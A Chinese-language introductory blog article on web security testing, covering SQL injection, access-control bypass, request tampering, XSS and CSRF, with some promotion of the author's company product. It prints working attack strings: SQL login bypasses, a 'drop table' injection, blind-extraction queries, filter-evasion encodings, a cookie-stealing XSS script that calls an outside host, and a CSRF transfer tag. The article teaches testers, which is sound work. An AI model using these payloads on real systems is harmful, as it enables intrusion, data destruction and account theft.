乾貨分享｜安全測試起航之旅

雲智慧 汪曉宇

安全測試是在IT軟件產品的生命週期中，特別是產品開發基本完成到發佈階段，對產品進行檢驗以驗證產品符合安全需求定義和產品質量標準的過程。一句話總結，安全測試就是檢查產品是否知足安全需求的過程。

衆所周知軟件測試分爲四大類型，分別是：功能測試、自動化測試、安全測試和性能測試，而安全測試是在功能測試和自動化測試以後，性能測試以前執行的，以避免安全測試後修改的一些問題會影響性能。

安全測試的內容一般包括跳過權限驗證、修改提交的請求信息等等，複雜一些的產品還要進行SQL注入，跨站點腳本之類的測試，下面咱們來看看安全問題對於互聯網產品的威脅。

SQL注入
因爲程序員的水平及工做經驗良莠不齊，至關一大部分程序員在編寫程序的時候對用戶輸入數據的合法性沒有進行判斷，就給應用程序帶來必定的安全隱患，用戶能夠經過提交一段數據庫查詢代碼，在獲得的結果中分析出他想要的數據，這就是所謂的SQL Injection，即SQL注入。

對於一個產品或網站來講，若是缺乏安全性測試，攻擊者可能會經過SQL盲注等方法直接暴庫（獲取全部的數據庫）或是獲取當前項目所使用的數據庫名稱、Web應用使用的帳戶、表、表結構、字段名甚至數據庫中存儲的數據內容等，這就是爲何咱們的底層鏈接數據庫代碼要用一些防SQL注入技術的緣由了。

SQL注入是從正常的WWW端口訪問，並且表面看起來跟通常的Web頁面訪問沒什麼區別，因此目前市面的防火牆都不會對SQL注入發出警報，若是管理員沒查看服務器日誌的習慣，可能被入侵很長時間都不會發覺。

展現一個最基本的漏洞：

某個系統登陸頁面，按照如圖方式輸入用戶面密碼後點擊登陸，結果登陸成功了，爲何呢？
登陸模塊的經典SQL爲：

select id from user where uname=’+ username + ’and pwd=’+ password+’

假如用戶名爲admin，密碼爲123456的用戶登陸該系統，那麼登陸時所產生的SQL語句以下:

select id from user where uname=’admin’and pwd=’123456’

而若是照圖中的所示惡意輸入的話，該SQL就變成以下所示：

select id from user where uname='admin'and pwd=''or'1=1'

或者來個更簡單的直接把用戶名輸入成：admin‘—
這樣就以管理員的方式登陸進去了或者以uname用戶成功登陸，對於SQL解析器來講，這是一個能夠被解析而且能夠被執行的SQL語句。
咱們知道mysql代碼的註釋是用—來表示的，若咱們變一下上面的SQL語句：

select id from user where uname=''**or'1=1';drop table user ;--**'and pwd=''

如上紅色部分是咱們的輸入，這樣咱們的SQL仍然能夠被正確解析，致使user表被刪除（若是有刪除表權限的話）；若是沒有刪除表權限的話也不要緊，咱們能夠用delete from user刪除整張表的數據來代替刪除整張表的效果。
固然，根據SQL須要的參數類型不一樣，所需的注入參數類型也不一樣，通常判斷某一參數點是否存在SQL注入的話能夠用以下兩種方式：
1.在參數後面直接加‘來觀察是否是報錯，若是發現數據庫報內部錯誤，則能夠判定有SQL注入的問題。
2.若是參數類型是int型，能夠用and 1=1；and 1=2來判斷，若是and 1=1能夠搜索出來，而and 1=2搜索出來的結果爲null或報錯，那麼咱們認識存在SQL注入漏洞，由於若是and 1=1和and 1=2沒有被打入系統的話，兩個返回值應該與原始值一致，若是兩個都被徹底當作字符打入系統兩個返回值應該都是空，以下圖1；對於String類型來講，咱們能夠用’and ‘1’=’1以及 ‘and ‘1’=’2來的判斷，以下圖2，道理與int類型同樣。若是是搜索型參數的話能夠用‘and’%’來注入，以下圖3.根據實際遇到的狀況不一樣須要有意識的去分析須要注入的參數，從而獲得注入語句。

肯定了SQL注入漏洞的存在，做爲測試人員能夠將這個漏洞報給開發人員進行修復，但做爲安全愛好者咱們能夠作的更多。最基本的方式是使用簡單的SQL 語句去猜解表名及字段名，確認表名的方法能夠用and true ，and false 的方式來判斷，如：and （select count(*) from user）>0 返回爲空 證實user表存在，返回與原始頁面一致，則證實不存在；還有確認字段的方法，如：and (select count(username) from user)>0；咱們來重點說說確認字段值的方法，這塊挺好玩的。
我們以字符型來舉個例子，假若有username字段，首先你要知道字段值的長度是多少，用以下語句：
and (select length(username) from users where id=1)=1~10
其次，須要找出每一位上面的字母（a-z A-z 0-9）
and substr ((select usernname from users where id=1),1,1)='a'--'z'
固然也能夠用ASCII的方法：
and (select ASCII(substr (username,1,1)) from users where id=1)=0~128
來看個實例：
1.先獲取長度，經過burpsuite工具攔截有sql注入的請求，對圖中高亮處進行參數化，獲取到的name字段值長度爲4；

2.再對應獲取name字段值的每一位，而後分別把獲取到的每一位對應ASCll碼中的值（參數化時是0~128）找出來就能夠了。

字符的方式參數化時a~z A~Z 0~9，設置這些就能夠了。

有時候開發人員會有意識的執行某種輸入過濾以防止攻擊者輸入如’.selecet等字符，下面來看下怎麼避開過了字符：
3.使用ASCII碼動態構建替代，如在輸入中單引號被屏蔽，咱們能夠嘗試使用字符的ASCII碼代替：CHAR (39)。
4.若是select關鍵字被屏蔽，嘗試使用URL hex編碼：
%00SELECT
%53%45%4c%45%43%54
有些開發人員可能會過濾Select、Update、Delete這些關鍵字，但恰恰忘記區分大小寫，你們能夠用selecT這樣嘗試一下。在猜不到字段名時，不妨看看網站上的表單，通常爲了方便字段名都與表單的輸入框取相同的名字。
特別注意：地址欄的+號傳入程序後解釋爲空格，%2B解釋爲+號，%25解釋爲%號，還有就是用Get方法注入時，IIS、Apache等Web服務器會記錄你提交的全部字符串，而對Post方法則不作記錄，因此能用 Post的網址儘可能不用Get。

不過使用透視寶產品的同窗就不用有此顧慮啦，由於透視寶底層鏈接數據庫的代碼已經用了一些防SQL注入的技術，大可放心使用！

權限控制的危害
接下來講說權限控制，權限就好像公司的門禁，只有帶了門禁卡的同窗才能夠隨便進出，而沒有門禁的人雖然能夠出去，可是安全的公司只能讓裏面的同窗開門或別人刷卡才容許進來，這就是最簡單的權限。若是少了安全性的保障，那麼就會有一些人跳過權限去作一些他們不應作的事情。
舉個簡單的例子，一個登錄模塊只有輸入註冊過的用戶名密碼才能登陸成功，而後咱們就老老實實的輸入咱們本身註冊過的用戶名密碼（如abc@baidu .com /123 )，而後就能夠登錄成功了。然而假如咱們輸入一個不存在的用戶名呢？
先來看個SQL，登陸模塊到數據庫對比用的是以下SQL：
    select count(*) from user where uname="abc@baidu .com" and pwd=「123」
固然實際應用中的SQL會比這個複雜的多，若在SQL後邊加一些特殊的字符串‘ or '1=1其結果會是什麼樣呢？
    select count(*) from user where uname=" abc@baidu .com " and pwd=「」 or "1=1"
咱們成功的繞過登陸權限認證了……說好的只有註冊過的用戶才能登陸的呢？！……感受不再相信愛了有木有……
訪問控制大致能夠分爲三大類：垂直訪問控制、水平訪問控制和上下文相關訪問控制。若是想證實一個電商系統沒有權限問題，須要驗證如下幾點：
第一，登陸是否能夠不經受權，也就是說有些請求原本是須要登陸後才能訪問的請求，結果在沒有登陸的狀況下直接訪問該請求時也能訪問成功；
第二，有無越權問題，好比普通用戶是否能夠訪問只有管理員用戶才能訪問的請求，若是能夠說明存在越權的安全漏洞；
第三，如用戶A和用戶B同屬於普通用戶，每一個人的訪問請求差很少，但顯示的內容會不同，這時能夠看看B是否能看到只有A纔有權限看的內容；
第四，有些功能須要分段操做才能成功，例如找回密碼功能，要先輸入用戶帳號，再經過回答各類密保問題，最後才能到獲取密碼，這時候若是某一步沒有作好權限控制，就可能致使應用忽略以前的驗證結果而直接執行當前階段問題；
第五，基於Referer消息頭的訪問控制，嘗試執行一些得到受權的特權操做,並提交一個缺乏 Referer消息頭或其被修改的請求，若是這種改變致使應用程序阻止請求，應用程序極可能以不安全的方式使用Referer消息頭。這樣繼續嘗試使用一個未經過驗證的用戶帳戶執行相同操做，但提交原始的Referer消息頭，確認系統是否可以成功執行該操做，有可能獲取管理員權限。
接下來講說修改提交數據內容，好比咱們上某寶買一個腎8，須要支付金額10000 RMB，支付的時候經過工具攔截支付請求，修改金額爲1 RMB ，提交後發現居然支付成功了。OMG！喜歡蘋果的小朋友不再用擔憂本身的腎了，哈哈。這些都是由於代碼裏只在前端作了驗證，然後端沒有作二次驗證所致使的漏洞，透視寶產品幾乎全部的驗證都是在後端作驗證，因此壓根就不用擔憂會出現客戶端繞過的漏洞啦。
跨站腳本的安全隱患
最後簡單說說跨站腳本的安全隱患，跨站腳本攻擊(Cross Site Scripting，簡稱XSS)是一種常常出如今Web應用中的計算機安全漏洞，它容許惡意Web用戶將代碼植入到提供給其它用戶使用的頁面中，用戶在觀看網頁時惡意腳本就會執行。這類攻擊經過注入 HTML或js等腳本發動，攻擊成功後攻擊者能夠獲得私密網頁內容和Cookies等，最近幾年XSS攻擊已經成爲最流行的Web攻擊方式。

XSS主要分紅三大類：

1.反射式 XSS：不存儲到數據庫中，直接經過頁面302跳轉顯示到頁面的，僅在頁面上及時顯示惡意腳本，測試方法是<script>alert('xss') ;</script>、<script>alert(doucument.cookie) ;</script>；
2.存儲式 XSS：存儲到數據庫中，而後從數據庫中讀取出來顯示到頁面上；
3.基於DOM的XSS：不保存到數據庫也不與後臺發生請求關係，只在dom或js上。
XSS的危害包括盜取各種用戶賬號（機器登陸賬號、用戶網銀賬號、各種管理員賬號），控制數據（包括讀取、篡改、添加、刪除企業敏感數據的能力），盜竊企業重要的具備商業價值的資料，非法轉帳，強制發送網站掛馬，控制受害者機器向其它網站發起攻擊等……
舉個存儲式XSS漏洞的例子，在一個交友網站上有人在我的信息裏寫了一段腳本，如：
<script>window.open(http://www.mysite.com?yourcookie =document.cookie)</script>
而該網站沒有對該段內容進行正確編碼，那麼網站其餘用戶看到這個用戶信息頁時，就會將當前的cookie提交到該用戶的web站點上。
關於xss漏洞的資料你們本身能夠在網上搜索瞭解，我這了就不仔細描述啦~

CSRF跨站請求僞造
既然說到XSS，那麼順便把CSRF也簡單說下吧，CSRF（Cross-site Request Forgery）是跨站請求僞造的意思，也被稱爲「one click attack」或者session riding，一般縮寫爲CSRF 或者XSRF, 是一種對網站的惡意利用。儘管聽起來像跨站腳本(XSS)，但它與 XSS 很是不一樣，而且攻擊方式幾乎相左。
XSS 利用站點內的信任用戶(受害者)，而CSRF 經過假裝來自受信任用戶的請求來利用受信任的網站，經過社會工程學的手段(如經過電子郵件發送一個連接) 來蠱惑受害者進行一些敏感性的操做，如修改密碼、修改E-mail、轉帳等，而受害者還不知道他已經中招。
CSRF 的破壞力依賴於受害者的權限，若是受害者只是個普通的用戶, 則一個成功的CSRF 攻擊會危害用戶的我的數據以及一些功能；若是受害者具備管理員權限，則一個成功的CSRF攻擊甚至會威脅到整個網站的安全。與XSS 攻擊相比，CSRF 攻擊每每不太流行(所以對其進行防範的資源也至關稀少)和難以防範，故被認爲是比XSS更具危險性的，因此CSRF在業內有個響噹噹的名字——沉睡的巨人。
舉個典型的CSRF例子：

Alice 登陸了某金融網站mybank.com準備進行網上支付，Bob 知道這個金融網站而且意識到這個站點的轉帳功能有 CSRF 漏洞，因而Bob在myblog.com上發表了一條日誌，這個日誌支持 img 自定義功能，Bob 插入了這麼一行HTML 代碼：
<imgsrc=http://mybank.com/transferMon... width="1" height="1" border="0" />Alice 在本身的瀏覽器上打開了另外一個標籤頁正好讀到這個頁面，因而Alice 的帳戶就不知不覺地向Bob 的帳戶轉帳3000 元，而她卻絕不知情。本次分享就先到這裏吧，只是啓蒙下，詳細的過程之後有機會再給你們一一介紹，謝謝~